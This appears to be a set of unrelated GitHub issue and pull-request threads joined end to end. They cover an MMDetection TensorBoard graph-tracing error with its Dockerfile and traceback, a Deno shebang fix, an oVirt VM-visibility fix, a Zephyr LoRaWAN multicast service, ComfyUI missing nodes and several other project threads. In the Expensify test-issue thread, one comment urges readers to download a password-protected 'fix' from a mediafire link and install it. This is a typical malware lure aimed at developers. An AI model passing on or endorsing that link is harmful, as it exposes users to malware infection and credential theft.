  && rm /etc/apt/sources.list.d/nvidia-ml.list \
  && apt-key del 7fa2af80 \
  && apt-key adv --fetch-keys http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1604/x86_64/3bf863cc.pub \
  && apt-get update && apt-get install -y ffmpeg libsm6 libxext6 git ninja-build libglib2.0-0 libsm6 libxrender-dev libxext6 \
  && apt-get clean \
  && rm -rf /var/lib/apt/lists/*

# Install MMCV
RUN pip install --no-cache-dir --upgrade pip wheel setuptools \
  && pip install --no-cache-dir mmcv-full==1.3.17 -f https://download.openmmlab.com/mmcv/dist/cu111/torch1.8.0/index.html

# Install MMDetection
RUN conda clean --all \
  && git clone https://github.com/open-mmlab/mmdetection.git /mmdetection
WORKDIR /mmdetection
ENV FORCE_CUDA="1"
RUN pip install --no-cache-dir -r requirements/build.txt \
  && pip install --no-cache-dir -e .

# Install tensorboard
RUN pip install --no-cache-dir tensorboard

# Add model
COPY ./script.py .

Error trackback
Basically the same output as this comment.
Error occurs, No graph saved
Traceback (most recent call last):
  File "/mmdetection/script.py", line 33, in <module>
    writer.add_graph(detector.eval(),(imgs, img_metas,gt_bboxes,gt_labels,gt_masks))
  File "/opt/conda/lib/python3.8/site-packages/torch/utils/tensorboard/writer.py", line 723, in add_graph
    self._get_file_writer().add_graph(graph(model, input_to_model, verbose))
  File "/opt/conda/lib/python3.8/site-packages/torch/utils/tensorboard/_pytorch_graph.py", line 292, in graph
    raise e
  File "/opt/conda/lib/python3.8/site-packages/torch/utils/tensorboard/_pytorch_graph.py", line 286, in graph
    trace = torch.jit.trace(model, args)
  File "/opt/conda/lib/python3.8/site-packages/torch/jit/_trace.py", line 733, in trace
    return trace_module(
  File "/opt/conda/lib/python3.8/site-packages/torch/jit/_trace.py", line 934, in trace_module
    module._c._create_method_from_trace(
RuntimeError: Tracer cannot infer type of (tensor([[[[0.5488, 0.7152, 0.6028,  ..., 0.7487, 0.9037, 0.0834],
          [0.5522, 0.5845, 0.9619,  ..., 0.4461, 0.1046, 0.3485],
          [0.7401, 0.6805, 0.6224,  ..., 0.9450, 0.9919, 0.3767],
          ...,
          [0.5347, 0.1355, 0.3433,  ..., 0.9448, 0.5501, 0.4152],
          [0.6550, 0.8695, 0.7427,  ..., 0.7006, 0.1240, 0.1202],
          [0.9689, 0.2844, 0.2874,  ..., 0.6264, 0.0966, 0.8441]],

         [[0.1356, 0.8424, 0.9262,  ..., 0.9498, 0.7877, 0.2874],
          [0.8619, 0.4222, 0.5368,  ..., 0.5023, 0.0962, 0.6300],
          [0.8680, 0.9831, 0.6594,  ..., 0.0459, 0.6224, 0.2136],
          ...,
          [0.4898, 0.7893, 0.4492,  ..., 0.6242, 0.3400, 0.5197],
          [0.0792, 0.1700, 0.2699,  ..., 0.7916, 0.3890, 0.6352],
          [0.6384, 0.0778, 0.4447,  ..., 0.3807, 0.9440, 0.1556]],

         [[0.4450, 0.7703, 0.7811,  ..., 0.3255, 0.2211, 0.4891],
          [0.7809, 0.8071, 0.4325,  ..., 0.4420, 0.6906, 0.9553],
          [0.1343, 0.5162, 0.6405,  ..., 0.7125, 0.6389, 0.4962],
          ...,
          [0.5266, 0.0853, 0.4650,  ..., 0.7655, 0.7202, 0.9694],
          [0.1602, 0.1703, 0.0182,  ..., 0.4301, 0.1518, 0.9542],
          [0.1611, 0.1013, 0.6607,  ..., 0.0081, 0.9399, 0.8611]]]],
       requires_grad=True), [{'img_shape': (256, 256, 3), 'ori_shape': (256, 256, 3), 'pad_shape': (256, 256, 3), 'filename': '<demo>.png', 'scale_factor': array([1.1, 1.2, 1.1, 1.2]), 'flip': False, 'flip_direction': None}], [tensor([[  0.0000,   0.0000,  62.4313, 140.5942],
        [ 91.9011, 133.2158,  98.5872, 170.8792],
        [  0.0000, 161.8527,  92.9992, 207.3777],
        [  0.0000, 129.3509, 131.0759, 211.6468],
        [ 17.0086, 173.0515,  75.2071, 249.1510],
        [  0.0000,   0.0000, 132.8615,  88.4271],
        [  0.0000, 154.4528,  94.0470, 156.2830],
        [  0.0000,   0.0000, 117.2081, 208.8974],
        [  0.0000,  73.4916,  82.0480, 256.0000],
        [219.8390,  73.8144, 256.0000, 127.1684]])], [tensor([1, 7, 2, 5, 5, 1, 6, 4, 9, 4])], [BitmapMasks(num_masks=10, height=256, width=256)])
:Could not infer type of list element: Dictionary inputs to traced functions must have consistent type. Found Tuple[int, int, int] and str

Bug fix
I read the following issue #6722, #5140, #5018, #5076, #1006 but I do not think it fixes the issue. Or I really missed something.
These issues are solved with an upgrade of mmcv or torch version. My version of torch is 1.8.1 and my version of mmcv is 1.3.17 which are higher or equal to the updated version in the issues.
I got it that for visualizing metrics I need to use hooks for getting scalars from runner (from what I understood). And for graph, the only thing I can see is to export to ONXX from the mmdet doc but in my case it did not work. Plus, I aim to work on more complex model which use a mix of Deformable Attention layer and language model so I am not sure that ONXX would be usable for visualization of such complex layers.
So I am starting to think there is no way to visualize model from MMDET in tensorboard :( I would love to keep using mmdet lib without dropping native torch visualization.
Let me know if you want more details or tell me if I missed something, please.
Regards,
Mathias.

We should now have updated the tensorboard correlation function, so you can try it again

can't  work

can't work

What do you mean? Is my method bad? Or is it related to something else? Can you detail more please?

my mean that when i insert this code to my progress,I cannot get the photograph of my Neutral Network.so what should I do next time.Please give me some advise.Thank you sincerely.
在 2022-11-08 00:29:43，"Mathias Réus" @.***> 写道：
can't work
What do you mean? Is my method bad? Or is it related to something else? Can you detail more please?
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>


fix(transforms/typescript): ImportsNotUsedAsValues - Handle shebang with jsx prag

Description:
This handles a shebang with a jsx prag. Previously h would be removed as an import in this case.
Related issue (if exists): https://github.com/denoland/deno/issues/21258

A potential fix to CI issues: https://github.com/actions/setup-node/issues/899#issuecomment-1819151595


Display only VMs that user is supposed to see after manual refresh

Fixes: https://github.com/oVirt/ovirt-web-ui/issues/1330
For the regular fetch (which works correctly and is managed through the infinite scroller), fetchVms is called in fetchByPage, with the page set to 1, at least. For the refresh fetch which doesn't work as expected (manual refresh, clicking on the Refresh button), fetchVms is called in refreshListPage and the vmsPage variable is set to 1 there, but although it is set, page is missing when calling fetchVms, because of the getVmsByCount VM action. So I made a change in this action, set the page to 1 to fix the query which wasn't set correctly and caused displaying the disallowed VMs. Setting the page to 1 is ok because we get VMs by count and not by page (getVmsByPage) in this case.
Before:

After:

@sgratch I was able to reproduce the problem mentioned above and to debug the code, and I think it is a different problem. I can see fetchVms returns the two VMs (which is correct), the query seems to be correct, too, but in VmCardList component, there's still data for three VMs in the vms prop of the component. I suggest to fix this problem separately as I'm not sure how long would it take to fix it.

@sgratch I was able to reproduce the problem mentioned above and to debug the code a little bit, and I think it is a different problem. I can see fetchVms returns the two VMs (which is correct), the query seems to be correct, too, but in VmCardList React component, there's still data for three VMs in the vms prop of the component. I suggest to fix this problem separately as I'm not sure how long would it take to fix it, and as it is a different problem.

Sure, you can open a separate PR for handling this.
This PR looks ok so I'm moving it to QE.


Add new foundation package dependency

Portions of the MRTK foundation now require the Microsoft.Windows.MixedReality.DotNetWinRT package to make accessing some platform functionality significantly easier.
This change adds the dependency to the nuspec file and fixes #6631

/azp run


missing nodes

https://github.com/kijai/ComfyUI-CogVideoXWrapper/blob/main/examples/cogvideox_interpolation_example_01.json
the workflow here show a missing node.
where i can take this?

Gonna need more information than that...

Gonna need more information than that...

Gonna need more information than that...

You have not updated the nodes.

i had.
did update today again and magically now works. misteries of comfyUI.
thnks


Testing for Zapier E/A issue

Testing for New Expensify Support, pretend this is a NewDot bug that was reported by a customer.
Corresponding E/E issue: https://github.com/Expensify/Expensify/issues/423487

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


LoRaWAN: Remote Multicast Setup Service

This PR adds an implementation of Remote Multicast Setup (TS005) service specified by the LoRa Alliance.
Remote Multicast Setup is required for firmware-upgrade over the air (FUOTA). This PR is a continuation of PR #49284, adding only one service at a time to make review easier.
As for the rest of the LoRaWAN implementation in Zephyr, it uses some functions provided by the LoRaMac-node module developed by Semtech.
The multicast process is started by the application and afterwards runs in the background in its own work queue thread.
Testing
The implementation has been successfully tested with AWS IoT.

Thanks @JordanYates for the quick and very valuable review. I have now updated the PR based on your comments and re-tested everything with AWS IoT.
Also added an overlay config to the sample to make sure the multicast setup is built in CI. This will also be ensured in the future by the FUOTA sample, but as long as that's not there we can use the existing sample for build-testing.

@JordanYates would you have time for another look at the updates based on your review?
If possible, I'd like to get this in before feature freeze for v3.6 (Feb 2nd).

Excited to see this being added! I am working on an IoT product using LoRa and would like the FUOTA service.
I'll check out your branches/other PRs and see if I can test them out.

I'll check out your branches/other PRs and see if I can test them out.

Sounds great. The latest branch with the complete FUOTA tested and working is this one. I'll continue with the frag decoder PR once the multicast is merged.


Test approximate evaluation accuracy

If it is too low, just run evaluation for each time limit separately.

Resolved in #30


Add "ICU on WebAssembly" notes to globalization-icu.md

Summary
Addresses https://github.com/dotnet/runtime/issues/39285#issuecomment-674472316
cc @safern

Thanks! BTW, if you commit suggestions from the "Files changed" tab, you can batch them into a single commit.


Add mpriscella/features to collection index

Adds https://github.com/mpriscella/features to the collection index.
I couldn't find any guidance on submitting a personal collection of features, but figured it was worth the PR. These are features to add a series of command line tools that I've found useful professionally and personally.
If a personal collection is inappropriate for this, please let me know and I'll find an alternate solution.

Hi @mpriscella great minds think alike! https://github.com/kubernetes-sigs/kind/issues/2967

Hi @joshspicer, thanks for the feedback! I wasn't aware that package was for metadata and I've just changed the visibility to public.
@craiglpeters Awesome! I'd be happy to respond to Ben in that issue.


Invalid sample data sets

After installing SlicerMorph extension, some default sample data sets show up in GEVolImport and TemplateKey categories. It would be better to provide actual test data sets, but if that's not feasible then skip the sample data registration.

GEVolImport is now fixed, but I don't know where TemplateKey category is coming from.


Delegatable resolver without factory

The Delegatable Reolver allows the resolver owner to add an operator to update records of a node on behalf of the owner.
It is going to be created by a factory contract every time a user set up a resolver on L2. The owner can grant operator to any names including subnames.

Is this PR now obsolete?

Is this PR now obsolete?

No, it is not osbolute. https://github.com/ensdomains/ens-contracts/pull/289 is to merge the branch into this branch

So, we should use this branch?